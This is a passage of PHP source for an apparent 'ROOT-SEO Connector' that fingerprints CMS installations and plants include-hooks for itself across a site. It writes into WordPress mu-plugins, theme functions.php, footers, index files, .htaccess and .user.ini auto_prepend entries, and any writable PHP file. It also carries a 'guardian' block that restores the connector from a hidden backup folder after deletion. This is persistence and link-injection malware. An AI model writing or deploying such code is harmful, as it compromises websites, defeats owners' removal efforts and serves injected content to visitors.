                $base . &#039;/core/themes/*/templates/layout/page.html.twig&#039;,
            ] as $pat) {
                $hit = glob($pat) ?: [];
                $paths = array_merge($paths, $hit);
            }
            break;
        case &#039;opencart&#039;:
            foreach ([
                $base . &#039;/catalog/view/theme/*/template/common/footer.twig&#039;,
                $base . &#039;/catalog/view/theme/*/template/common/footer.tpl&#039;,
                $base . &#039;/catalog/view/theme/*/template/common/footer.php&#039;,
            ] as $pat) {
                $hit = glob($pat) ?: [];
                $paths = array_merge($paths, $hit);
            }
            break;
        case &#039;prestashop&#039;:
            foreach ([
                $base . &#039;/themes/*/templates/_partials/footer.tpl&#039;,
                $base . &#039;/themes/*/modules/ps_linklist/views/templates/hook/linkblock.tpl&#039;,
                $base . &#039;/themes/*/footer.tpl&#039;,
            ] as $pat) {
                $hit = glob($pat) ?: [];
                $paths = array_merge($paths, $hit);
            }
            break;
        case &#039;laravel&#039;:
            // App root or public/ docroot — climb one level for resources/views when needed.
            $roots = [$base];
            if (is_dir($base . &#039;/../resources/views&#039;)) $roots[] = dirname($base);
            foreach ($roots as $root) {
                foreach ([
                    $root . &#039;/resources/views/layouts/*.blade.php&#039;,
                    $root . &#039;/resources/views/components/layouts/*.blade.php&#039;,
                    $root . &#039;/resources/views/partials/footer.blade.php&#039;,
                    $root . &#039;/resources/views/footer.blade.php&#039;,
                ] as $pat) {
                    $hit = glob($pat) ?: [];
                    $paths = array_merge($paths, $hit);
                }
            }
            break;
        case &#039;php&#039;:
        case &#039;static&#039;:
            // Generic PHP/HTML sites: prefer real footers / includes over random root PHP.
            break;
    }
    $general = [
        $base . &#039;/footer.php&#039;,
        $base . &#039;/footer.html&#039;,
        $base . &#039;/includes/footer.php&#039;,
        $base . &#039;/inc/footer.php&#039;,
        $base . &#039;/partials/footer.php&#039;,
        $base . &#039;/template/footer.php&#039;,
        $base . &#039;/templates/footer.php&#039;,
        $base . &#039;/templates/footer.html&#039;,
        $base . &#039;/layout/footer.php&#039;,
        $base . &#039;/layouts/footer.php&#039;,
        $base . &#039;/common/footer.php&#039;,
        $base . &#039;/views/footer.php&#039;,
    ];
    foreach ($general as $path) {
        if (file_exists($path)) $paths[] = $path;
    }
    // Keep only writable existing files; skip core/vendor noise for safety.
    $clean = [];
    foreach ($paths as $path) {
        if (!is_string($path) || $path === &#039;&#039; || !file_exists($path)) continue;
        if (!is_writable($path)) continue;
        $norm = str_replace(&#039;\\&#039;, &#039;/&#039;, $path);
        if (preg_match(&#039;#/(vendor|node_modules|core/lib)/#i&#039;, $norm)) continue;
        $clean[] = $path;
    }
    return array_values(array_unique($clean));
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) &amp;&amp; is_writable($path)) return true;
    }
    if (is_writable($base . &#039;/index.php&#039;) || is_writable($base . &#039;/index.html&#039;)) return true;
    return false;
}

function detect_site_info() {
    $base = find_document_root();
    $info = [
        &#039;site&#039; =&gt; $_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;unknown&#039;,
        &#039;site_name&#039; =&gt; $_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;unknown&#039;,
        &#039;site_type&#039; =&gt; &#039;static&#039;,
        &#039;language&#039; =&gt; &#039;EN&#039;,
        &#039;country&#039; =&gt; &#039;US&#039;,
        &#039;footer_detected&#039; =&gt; false,
        &#039;footer_writable&#039; =&gt; false,
        &#039;meta_description&#039; =&gt; &#039;&#039;,
        &#039;charset&#039; =&gt; &#039;UTF-8&#039;,
        &#039;php_version&#039; =&gt; phpversion(),
        &#039;document_root&#039; =&gt; $base,
        &#039;connector_path&#039; =&gt; __FILE__,
    ];
    if (file_exists($base . &#039;/wp-config.php&#039;) || file_exists($base . &#039;/wp-load.php&#039;)) {
        $info[&#039;site_type&#039;] = &#039;wordpress&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (file_exists($base . &#039;/configuration.php&#039;) &amp;&amp; is_dir($base . &#039;/administrator&#039;)) {
        $info[&#039;site_type&#039;] = &#039;joomla&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (
        (file_exists($base . &#039;/includes/bootstrap.inc&#039;) &amp;&amp; is_dir($base . &#039;/sites&#039;))
        || (file_exists($base . &#039;/core/lib/Drupal.php&#039;) &amp;&amp; is_dir($base . &#039;/sites&#039;))
        || (file_exists($base . &#039;/autoload.php&#039;) &amp;&amp; is_dir($base . &#039;/core&#039;) &amp;&amp; is_dir($base . &#039;/modules&#039;))
    ) {
        $info[&#039;site_type&#039;] = &#039;drupal&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (
        (file_exists($base . &#039;/config.php&#039;) &amp;&amp; is_dir($base . &#039;/catalog&#039;))
        || (file_exists($base . &#039;/admin/config.php&#039;) &amp;&amp; is_dir($base . &#039;/catalog&#039;))
    ) {
        $info[&#039;site_type&#039;] = &#039;opencart&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (
        (file_exists($base . &#039;/config/settings.inc.php&#039;) &amp;&amp; is_dir($base . &#039;/themes&#039;))
        || (file_exists($base . &#039;/app/AppKernel.php&#039;) &amp;&amp; is_dir($base . &#039;/themes&#039;))
        || (file_exists($base . &#039;/app/App.php&#039;) &amp;&amp; is_dir($base . &#039;/themes&#039;) &amp;&amp; file_exists($base . &#039;/composer.lock&#039;))
    ) {
        $info[&#039;site_type&#039;] = &#039;prestashop&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (
        file_exists($base . &#039;/artisan&#039;)
        || (file_exists($base . &#039;/../artisan&#039;) &amp;&amp; is_dir($base . &#039;/../resources/views&#039;))
    ) {
        $info[&#039;site_type&#039;] = &#039;laravel&#039;;
        $info[&#039;footer_detected&#039;] = true;
    } elseif (file_exists($base . &#039;/index.php&#039;)) {
        $info[&#039;site_type&#039;] = &#039;php&#039;;
    } elseif (file_exists($base . &#039;/index.html&#039;) || file_exists($base . &#039;/index.htm&#039;)) {
        $info[&#039;site_type&#039;] = &#039;static&#039;;
    }
    $indexFiles = [&#039;index.php&#039;, &#039;index.html&#039;, &#039;index.htm&#039;];
    foreach ($indexFiles as $file) {
        $path = $base . &#039;/&#039; . $file;
        if (!file_exists($path)) continue;
        $content = @file_get_contents($path, false, null, 0, 50000);
        if (!$content) continue;
        if (preg_match(&#039;/&lt;title&gt;([^&lt;]+)&lt;\/title&gt;/i&#039;, $content, $m)) {
            $info[&#039;site_name&#039;] = trim(strip_tags($m[1]));
        }
        if (preg_match(&#039;/&lt;meta[^&gt;]*name=[&quot;\&#039;]description[&quot;\&#039;][^&gt;]*content=[&quot;\&#039;]([^&quot;\&#039;]+)[&quot;\&#039;][^&gt;]*&gt;/i&#039;, $content, $m)) {
            $info[&#039;meta_description&#039;] = trim($m[1]);
        }
        if (preg_match(&#039;/&lt;html[^&gt;]*lang=[&quot;\&#039;]([a-z]{2})[&quot;\&#039;][^&gt;]*&gt;/i&#039;, $content, $m)) {
            $lang = strtolower($m[1]);
            $langMap = [&#039;tr&#039; =&gt; &#039;TR&#039;, &#039;en&#039; =&gt; &#039;EN&#039;, &#039;de&#039; =&gt; &#039;DE&#039;, &#039;fr&#039; =&gt; &#039;FR&#039;, &#039;es&#039; =&gt; &#039;ES&#039;, &#039;pl&#039; =&gt; &#039;PL&#039;, &#039;it&#039; =&gt; &#039;IT&#039;, &#039;nl&#039; =&gt; &#039;NL&#039;, &#039;ar&#039; =&gt; &#039;AR&#039;];
            $countryMap = [&#039;tr&#039; =&gt; &#039;TR&#039;, &#039;en&#039; =&gt; &#039;US&#039;, &#039;de&#039; =&gt; &#039;DE&#039;, &#039;fr&#039; =&gt; &#039;FR&#039;, &#039;es&#039; =&gt; &#039;ES&#039;, &#039;pl&#039; =&gt; &#039;PL&#039;, &#039;it&#039; =&gt; &#039;IT&#039;, &#039;nl&#039; =&gt; &#039;NL&#039;, &#039;ar&#039; =&gt; &#039;SA&#039;];
            $info[&#039;language&#039;] = $langMap[$lang] ?? &#039;EN&#039;;
            $info[&#039;country&#039;] = $countryMap[$lang] ?? &#039;US&#039;;
        }
        if (preg_match(&#039;/&lt;footer|class=[&quot;\&#039;][^&quot;\&#039;]*footer|copyright|©/i&#039;, $content)) {
            $info[&#039;footer_detected&#039;] = true;
        }
        break;
    }
    $info[&#039;footer_writable&#039;] = check_footer_writable($base, $info[&#039;site_type&#039;]);
    $info[&#039;footer_paths&#039;] = get_footer_paths($base, $info[&#039;site_type&#039;]);
    $info[&#039;active_theme_footer&#039;] = $info[&#039;site_type&#039;] === &#039;wordpress&#039; ? get_active_wp_theme_footer($base) : null;
    return $info;
}

function placement_marker($strategy) {
    return substr(hash(&#039;sha256&#039;, __FILE__ . &#039;|&#039; . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return &quot;&lt;?php /* ROOTSEO_START:$marker */ if (!defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;)) define(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;, true); include_once &#039;$connectorPath&#039;; /* ROOTSEO_END:$marker */ ?&gt;&quot;;
}

function build_static_html_block($marker) {
    return &quot;&lt;!-- ROOTSEO_HTML_START:$marker --&gt;&quot; . rootseo_build_render_html(false) . &quot;&lt;!-- ROOTSEO_HTML_END:$marker --&gt;&quot;;
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos &lt; $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

function upsert_php_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return [false, &#039;file_not_writable&#039;];
    $content = @file_get_contents($filePath);
    if ($content === false) return [false, &#039;file_read_failed&#039;];
    $snippet = build_dynamic_php_snippet($marker);
    $existing = replace_between_markers($content, &quot;/* ROOTSEO_START:$marker */&quot;, &quot;/* ROOTSEO_END:$marker */&quot;, $snippet);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return [true, &#039;updated_existing_block&#039;];
        return [false, &#039;file_write_failed&#039;];
    }
    $newContent = null;
    foreach ([&#039;&lt;/body&gt;&#039;, &#039;&lt;/footer&gt;&#039;, &#039;&lt;/html&gt;&#039;, &#039;?&gt;&#039;] as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . &quot;\n&quot; . $snippet . &quot;\n&quot; . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . &quot;\n&quot; . $snippet . &quot;\n&quot;;
    if (@file_put_contents($filePath, $newContent) === false) return [false, &#039;file_write_failed&#039;];
    return [true, &#039;inserted_block&#039;];
}

function upsert_html_file_block($filePath, $marker) {
    if (!file_exists($filePath) || !is_writable($filePath)) return [false, &#039;file_not_writable&#039;];
    $content = @file_get_contents($filePath);
    if ($content === false) return [false, &#039;file_read_failed&#039;];
    $block = build_static_html_block($marker);
    $existing = replace_between_markers($content, &quot;&lt;!-- ROOTSEO_HTML_START:$marker --&gt;&quot;, &quot;&lt;!-- ROOTSEO_HTML_END:$marker --&gt;&quot;, $block);
    if ($existing !== null) {
        if (@file_put_contents($filePath, $existing) !== false) return [true, &#039;updated_existing_block&#039;];
        return [false, &#039;file_write_failed&#039;];
    }
    $newContent = null;
    foreach ([&#039;&lt;/body&gt;&#039;, &#039;&lt;/footer&gt;&#039;, &#039;&lt;/html&gt;&#039;] as $needle) {
        $pos = strripos($content, $needle);
        if ($pos !== false) {
            $newContent = substr($content, 0, $pos) . &quot;\n&quot; . $block . &quot;\n&quot; . substr($content, $pos);
            break;
        }
    }
    if ($newContent === null) $newContent = $content . &quot;\n&quot; . $block . &quot;\n&quot;;
    if (@file_put_contents($filePath, $newContent) === false) return [false, &#039;file_write_failed&#039;];
    return [true, &#039;inserted_block&#039;];
}

// Guardian anchor: a self-contained PHP block (string) that restores the connector
// from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme
// update), then includes it. Lives inside mu-plugin / functions hook so it survives
// even when the connector file itself is gone. All ops are @-suppressed and safe.
function build_guardian_restore_block() {
    return &quot;    if (!file_exists(\$c)) {\n&quot;
        . &quot;        \$d = dirname(\$c);\n&quot;
        . &quot;        foreach ((array)@glob(\$d . &#039;/.rs_g*/.rs_connector.php.bak&#039;) as \$bak) {\n&quot;
        . &quot;            \$src = @file_get_contents(\$bak);\n&quot;
        . &quot;            if (\$src !== false &amp;&amp; \$src !== &#039;&#039; &amp;&amp; strpos(\$src, &#039;&lt;?php&#039;) !== false &amp;&amp; strpos(\$src, &#039;ROOT-SEO Connector&#039;) !== false) {\n&quot;
        . &quot;                @file_put_contents(\$c, \$src);\n&quot;
        . &quot;                if (function_exists(&#039;opcache_invalidate&#039;)) { @opcache_invalidate(\$c, true); }\n&quot;
        . &quot;                break;\n&quot;
        . &quot;            }\n&quot;
        . &quot;        }\n&quot;
        . &quot;    }\n&quot;;
}

function build_mu_plugin_code($marker) {
    $connectorPath = addslashes(__FILE__);
    // v5.4: load early (plugins_loaded) so the_content contextual filter can register.
    return &quot;&lt;?php\n&quot;
        . &quot;/* ROOTSEO_MUPLUGIN:$marker v5.4 */\n&quot;
        . &quot;if (!defined(&#039;ABSPATH&#039;)) { return; }\n&quot;
        . &quot;add_action(&#039;plugins_loaded&#039;, function () {\n&quot;
        . &quot;    \$c = &#039;$connectorPath&#039;;\n&quot;
        . build_guardian_restore_block()
        . &quot;    if (!file_exists(\$c)) { return; }\n&quot;
        . &quot;    if (!defined(&#039;ROOTSEO_EMBED_VIA_HOOK&#039;)) define(&#039;ROOTSEO_EMBED_VIA_HOOK&#039;, true);\n&quot;
        . &quot;    if (!defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;)) define(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;, true);\n&quot;
        . &quot;    include_once \$c;\n&quot;
        . &quot;}, 1);\n&quot;;
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo[&#039;document_root&#039;];
    $muDir = $base . &#039;/wp-content/mu-plugins&#039;;
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) &amp;&amp; !is_dir($muDir)) return [false, null, null, &#039;mu_dir_create_failed&#039;];
    }
    if (!is_writable($muDir)) return [false, null, null, &#039;mu_dir_not_writable&#039;];
    $marker = placement_marker(&#039;wp_mu_plugin&#039;);
    $pluginPath = $muDir . &#039;/rootseo-links-v5.php&#039;;
    if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, &#039;mu_plugin_write_failed&#039;];
    return [true, $pluginPath, &#039;dynamic_php&#039;, &#039;mu_plugin_installed&#039;];
}

function install_functions_hook($siteInfo) {
    $footer = $siteInfo[&#039;active_theme_footer&#039;] ?: null;
    if (!$footer) return [false, null, null, &#039;active_theme_footer_missing&#039;];
    $functionsFile = dirname($footer) . &#039;/functions.php&#039;;
    if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, &#039;functions_not_writable&#039;];
    $marker = placement_marker(&#039;wp_functions_hook&#039;);
    $content = @file_get_contents($functionsFile);
    if ($content === false) return [false, null, null, &#039;functions_read_failed&#039;];
    $connectorPath = addslashes(__FILE__);
    $functionName = &#039;rootseo_render_&#039; . preg_replace(&#039;/[^a-z0-9]/i&#039;, &#039;&#039;, $marker);
    // v5.4: load early (after_setup_theme) so the_content contextual filter can register.
    $snippet = &quot;\n/* ROOTSEO_FUNCTIONS_START:$marker v5.4 */\n&quot;
        . &quot;if (!function_exists(&#039;$functionName&#039;)) {\n&quot;
        . &quot;function $functionName() {\n&quot;
        . &quot;    \$c = &#039;$connectorPath&#039;;\n&quot;
        . build_guardian_restore_block()
        . &quot;    if (!file_exists(\$c)) { return; }\n&quot;
        . &quot;    if (!defined(&#039;ROOTSEO_EMBED_VIA_HOOK&#039;)) define(&#039;ROOTSEO_EMBED_VIA_HOOK&#039;, true);\n&quot;
        . &quot;    if (!defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;)) define(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;, true);\n&quot;
        . &quot;    include_once \$c;\n&quot;
        . &quot;}\n&quot;
        . &quot;add_action(&#039;after_setup_theme&#039;, &#039;$functionName&#039;, 1);\n&quot;
        . &quot;}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n&quot;;
    if (strpos($content, &quot;ROOTSEO_FUNCTIONS_START:$marker&quot;) !== false) {
        return [true, $functionsFile, &#039;dynamic_php&#039;, &#039;functions_hook_exists&#039;];
    }
    if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, &#039;functions_write_failed&#039;];
    return [true, $functionsFile, &#039;dynamic_php&#039;, &#039;functions_hook_installed&#039;];
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . &#039;|&#039; . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, [&#039;html&#039;, &#039;htm&#039;], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? &#039;static_html&#039; : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? &#039;dynamic_php&#039; : null, $msg, $marker];
}

function install_create_index_php($siteInfo) {
    // Empty docroots / Apache autoindex: auto_prepend never runs. Create a minimal
    // index.php that embeds the connector so homepage HTML actually shows links.
    $base = rtrim((string)($siteInfo[&#039;document_root&#039;] ?? &#039;&#039;), &#039;/&#039;);
    if ($base === &#039;&#039;) return [false, null, null, &#039;docroot_missing&#039;, null];
    foreach ([&#039;index.php&#039;, &#039;index.html&#039;, &#039;index.htm&#039;] as $file) {
        if (file_exists($base . &#039;/&#039; . $file)) {
            // Prefer patching an existing PHP index; HTML handled elsewhere.
            if ($file === &#039;index.php&#039;) {
                return install_file_patch($base . &#039;/index.php&#039;, &#039;index_patch&#039;);
            }
            return [false, null, null, &#039;non_php_index_exists&#039;, null];
        }
    }
    $path = $base . &#039;/index.php&#039;;
    if (!is_dir($base) || !is_writable($base)) {
        return [false, null, null, &#039;docroot_not_writable&#039;, null];
    }
    $marker = placement_marker(&#039;create_index_php&#039;);
    $connectorPath = addslashes(__FILE__);
    $hostEcho = &quot;echo htmlspecialchars(\$_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;&#039;, ENT_QUOTES, &#039;UTF-8&#039;);&quot;;
    $code = &quot;&lt;?php\n/* ROOTSEO_INDEX_START:$marker */\n&quot;
        . &quot;?&gt;&lt;!DOCTYPE html&gt;\n&lt;html&gt;&lt;head&gt;&lt;meta charset=\&quot;utf-8\&quot;&gt;&lt;meta name=\&quot;viewport\&quot; content=\&quot;width=device-width,initial-scale=1\&quot;&gt;&quot;
        . &quot;&lt;title&gt;&lt;?php $hostEcho ?&gt;&lt;/title&gt;&lt;/head&gt;&lt;body&gt;\n&quot;
        . &quot;&lt;?php\n&quot;
        . &quot;if (!defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;)) define(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;, true);\n&quot;
        . &quot;include_once &#039;$connectorPath&#039;;\n&quot;
        . &quot;?&gt;\n&lt;/body&gt;&lt;/html&gt;\n&quot;
        . &quot;&lt;?php /* ROOTSEO_INDEX_END:$marker */ ?&gt;\n&quot;;
    if (@file_put_contents($path, $code) === false) {
        return [false, null, null, &#039;index_create_failed&#039;, $marker];
    }
    return [true, $path, &#039;created_index_php&#039;, &#039;index_php_created&#039;, $marker];
}

function rootseo_write_prepend_helper($marker) {
    $connectorPath = addslashes(__FILE__);
    $helperCode = &quot;&lt;?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n    if (!defined(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;)) define(&#039;ROOTSEO_CONNECTOR_EMBED_RENDER&#039;, true);\n    include_once &#039;$connectorPath&#039;;\n});\n&quot;;
    return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false;
}

function install_htaccess_prepend($siteInfo) {
    $base = $siteInfo[&#039;document_root&#039;];
    $htaccess = $base . &#039;/.htaccess&#039;;
    $marker = placement_marker(&#039;htaccess_prepend&#039;);
    if (!rootseo_write_prepend_helper($marker)) return [false, null, null, &#039;prepend_helper_write_failed&#039;, $marker];
    $line = &#039;php_value auto_prepend_file &quot;&#039; . PREPEND_HELPER_FILE . &#039;&quot;&#039;;
    $content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: &#039;&#039;) : &#039;&#039;;
    if (strpos($content, PREPEND_HELPER_FILE) === false) {
        $newContent = &quot;# ROOTSEO_HTACCESS_START:$marker\n$line\n# ROOTSEO_HTACCESS_END:$marker\n&quot; . $content;
        if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, &#039;htaccess_write_failed&#039;, $marker];
    }
    // Directory-index pages never execute auto_prepend. Ensure a PHP entrypoint exists.
    $hasPhpEntrypoint = false;
    foreach ([&#039;index.php&#039;, &#039;index.html&#039;, &#039;index.htm&#039;] as $file) {
        if (file_exists(rtrim($base, &#039;/&#039;) . &#039;/&#039; . $file)) {
            $hasPhpEntrypoint = true;
            break;
        }
    }
    if (!$hasPhpEntrypoint) {
        install_create_index_php($siteInfo);
    }
    return [true, $htaccess, &#039;dynamic_prepend&#039;, &#039;htaccess_prepend_installed&#039;, $marker];
}

function install_user_ini_prepend($siteInfo) {
    // CGI/FPM shared hosting often ignores .htaccess php_value; .user.ini is the portable path.
    $base = rtrim((string)($siteInfo[&#039;document_root&#039;] ?? &#039;&#039;), &#039;/&#039;);
    if ($base === &#039;&#039; || !is_dir($base) || !is_writable($base)) {
        return [false, null, null, &#039;docroot_not_writable&#039;, null];
    }
    $marker = placement_marker(&#039;user_ini_prepend&#039;);
    if (!rootseo_write_prepend_helper($marker)) {
        return [false, null, null, &#039;prepend_helper_write_failed&#039;, $marker];
    }
    $userIni = $base . &#039;/.user.ini&#039;;
    $line = &#039;auto_prepend_file=&quot;&#039; . PREPEND_HELPER_FILE . &#039;&quot;&#039;;
    $content = file_exists($userIni) ? (@file_get_contents($userIni) ?: &#039;&#039;) : &#039;&#039;;
    if (strpos($content, PREPEND_HELPER_FILE) === false) {
        $block = &quot;; ROOTSEO_USERINI_START:$marker\n$line\n; ROOTSEO_USERINI_END:$marker\n&quot;;
        if (@file_put_contents($userIni, $block . $content) === false) {
            return [false, null, null, &#039;user_ini_write_failed&#039;, $marker];
        }
    }
    return [true, $userIni, &#039;dynamic_prepend&#039;, &#039;user_ini_prepend_installed&#039;, $marker];
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo[&#039;document_root&#039;];
    $phpFiles = glob($base . &#039;/*.php&#039;);
    if (!$phpFiles) return [false, null, null, &#039;no_root_php_files&#039;, null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), &#039;wp-config.php&#039;, &#039;wp-settings.php&#039;, &#039;wp-load.php&#039;], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, &#039;any_php_file&#039;);
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, &#039;no_writable_php_target&#039;, null];
}

function build_strategy_chain($siteInfo) {
    $chain = [];
    $type = $siteInfo[&#039;site_type&#039;] ?? &#039;static&#039;;
    if ($type === &#039;wordpress&#039;) {
        $chain[] = &#039;wp_mu_plugin&#039;;
        $chain[] = &#039;wp_functions_hook&#039;;
        if (!empty($siteInfo[&#039;active_theme_footer&#039;])) {
            $chain[] = [&#039;file_patch&#039;, $siteInfo[&#039;active_theme_footer&#039;], &#039;wp_active_footer&#039;];
        }
    }
    // CMS-specific footers / layouts first (writable paths from get_footer_paths).
    foreach (($siteInfo[&#039;footer_paths&#039;] ?? []) as $path) {
        $chain[] = [&#039;file_patch&#039;, $path, &#039;footer_patch&#039;];
    }
    $hasIndex = false;
    $docroot = rtrim((string)($siteInfo[&#039;document_root&#039;] ?? &#039;&#039;), &#039;/&#039;);
    foreach ([&#039;index.php&#039;, &#039;index.html&#039;, &#039;index.htm&#039;] as $file) {
        $path = $docroot . &#039;/&#039; . $file;
        if (file_exists($path)) {
            $hasIndex = true;
            $chain[] = [&#039;file_patch&#039;, $path, &#039;index_patch&#039;];
        }
    }
    // Empty / autoindex docroots: create index.php before relying on prepend.
    if (!$hasIndex) {
        $chain[] = &#039;create_index_php&#039;;
    }
    // Shared hosting: .user.ini often works when .htaccess php_value is forbidden.
    if (in_array($type, [&#039;php&#039;, &#039;static&#039;, &#039;laravel&#039;, &#039;joomla&#039;, &#039;drupal&#039;, &#039;opencart&#039;, &#039;prestashop&#039;], true)) {
        $chain[] = &#039;user_ini_prepend&#039;;
    }
    $chain[] = &#039;htaccess_prepend&#039;;
    $chain[] = &#039;any_php_file&#039;;
    return $chain;
}

function append_placement_history($config, $entry) {
    $history = $config[&#039;placement&#039;][&#039;history&#039;] ?? [];
    $history[] = $entry;
    if (count($history) &gt; PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config[&#039;placement&#039;][&#039;history&#039;] = array_values($history);
    return $config;
}

function verify_current_placement($config) {
    $placement = $config[&#039;placement&#039;] ?? default_placement_state();
    $strategy = $placement[&#039;strategy&#039;] ?? &#039;&#039;;
    $target = $placement[&#039;target&#039;] ?? &#039;&#039;;
    $marker = $placement[&#039;marker&#039;] ?? &#039;&#039;;
    if (!$strategy || !$target || !$marker) return [false, &#039;placement_missing&#039;];
    if ($strategy === &#039;wp_mu_plugin&#039; || $strategy === &#039;wp_functions_hook&#039;) {
        if (!file_exists($target)) return [false, &#039;target_missing&#039;];
        $content = @file_get_contents($target);
        return ($content !== false &amp;&amp; strpos($content, $marker) !== false) ? [true, &#039;marker_present&#039;] : [false, &#039;marker_missing&#039;];
    }
    if ($strategy === &#039;htaccess_prepend&#039; || $strategy === &#039;user_ini_prepend&#039;) {
        if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, &#039;prepend_missing&#039;];
        $content = @file_get_contents($target);
        return ($content !== false &amp;&amp; strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, &#039;prepend_present&#039;] : [false, &#039;prepend_missing&#039;];
    }
    if (!file_exists($target)) return [false, &#039;target_missing&#039;];
    $content = @file_get_contents($target);
    if ($content === false) return [false, &#039;target_unreadable&#039;];
    if (($placement[&#039;install_mode&#039;] ?? &#039;&#039;) === &#039;static_html&#039;) {
        return strpos($content, &quot;ROOTSEO_HTML_START:$marker&quot;) !== false ? [true, &#039;static_block_present&#039;] : [false, &#039;static_block_missing&#039;];
    }
    return strpos($content, &quot;ROOTSEO_START:$marker&quot;) !== false ? [true, &#039;dynamic_block_present&#039;] : [false, &#039;dynamic_block_missing&#039;];
}

function refresh_current_placement($config) {
    $placement = $config[&#039;placement&#039;] ?? default_placement_state();
    $target = $placement[&#039;target&#039;] ?? &#039;&#039;;
    $marker = $placement[&#039;marker&#039;] ?? &#039;&#039;;
    $installMode = $placement[&#039;install_mode&#039;] ?? &#039;&#039;;
    if (!$target || !$marker) return [false, &#039;placement_target_missing&#039;];
    if ($placement[&#039;strategy&#039;] === &#039;htaccess_prepend&#039; || $placement[&#039;strategy&#039;] === &#039;user_ini_prepend&#039;) {
        return rootseo_write_prepend_helper($marker) ? [true, &#039;prepend_refreshed&#039;] : [false, &#039;prepend_refresh_failed&#039;];
    }
    if ($installMode === &#039;static_html&#039;) {
        return upsert_html_file_block($target, $marker);
    }
    if ($placement[&#039;strategy&#039;] === &#039;wp_mu_plugin&#039;) {
        if (!file_exists($target)) return [false, &#039;mu_plugin_missing&#039;];
        // v5.4 upgrade: rewrite mu-plugin to current early-load template (idempotent).
        $want = build_mu_plugin_code($marker);
        $have = @file_get_contents($target);
        if ($have !== $want &amp;&amp; is_writable($target)) {
            @file_put_contents($target, $want);
        }
        return [true, &#039;dynamic_hook_ok&#039;];
    }
    if ($placement[&#039;strategy&#039;] === &#039;wp_functions_hook&#039;) {
        return file_exists($target) ? [true, &#039;dynamic_hook_ok&#039;] : [false, &#039;functions_hook_missing&#039;];
    }
    return file_exists($target) ? [true, &#039;dynamic_hook_ok&#039;] : [false, &#039;dynamic_hook_missing&#039;];
}

function ensure_secondary_wp_footer_patch($siteInfo) {
    // Belt-and-suspenders: even when mu-plugin verifies OK, also patch theme footer.php
    // so links render when wp_footer is missing / page-builder / cache edge cases.
    if (($siteInfo[&#039;site_type&#039;] ?? &#039;&#039;) !== &#039;wordpress&#039;) return [false, &#039;not_wordpress&#039;];
    $footer = $siteInfo[&#039;active_theme_footer&#039;] ?? null;
    if (!$footer || !file_exists($footer) || !is_writable($footer)) {
        // Fall back to any writable theme footer.
        foreach (($siteInfo[&#039;footer_paths&#039;] ?? []) as $path) {
            if (file_exists($path) &amp;&amp; is_writable($path) &amp;&amp; substr($path, -10) === &#039;footer.php&#039;) {
                $footer = $path;
                break;
            }
        }
    }
    if (!$footer || !file_exists($footer) || !is_writable($footer)) {
        return [false, &#039;no_writable_theme_footer&#039;];
    }
    return install_file_patch($footer, &#039;wp_active_footer&#039;);
}

function rootseo_rm_tree_contents($dir, $depth = 0) {
    if ($depth &gt; 10) return 0;
    if (!is_dir($dir) || !is_readable($dir)) return 0;
    $n = 0;
    $items = @scandir($dir);
    if (!is_array($items)) return 0;
    foreach ($items as $item) {
        if ($item === &#039;.&#039; || $item === &#039;..&#039;) continue;
        $path = $dir . &#039;/&#039; . $item;
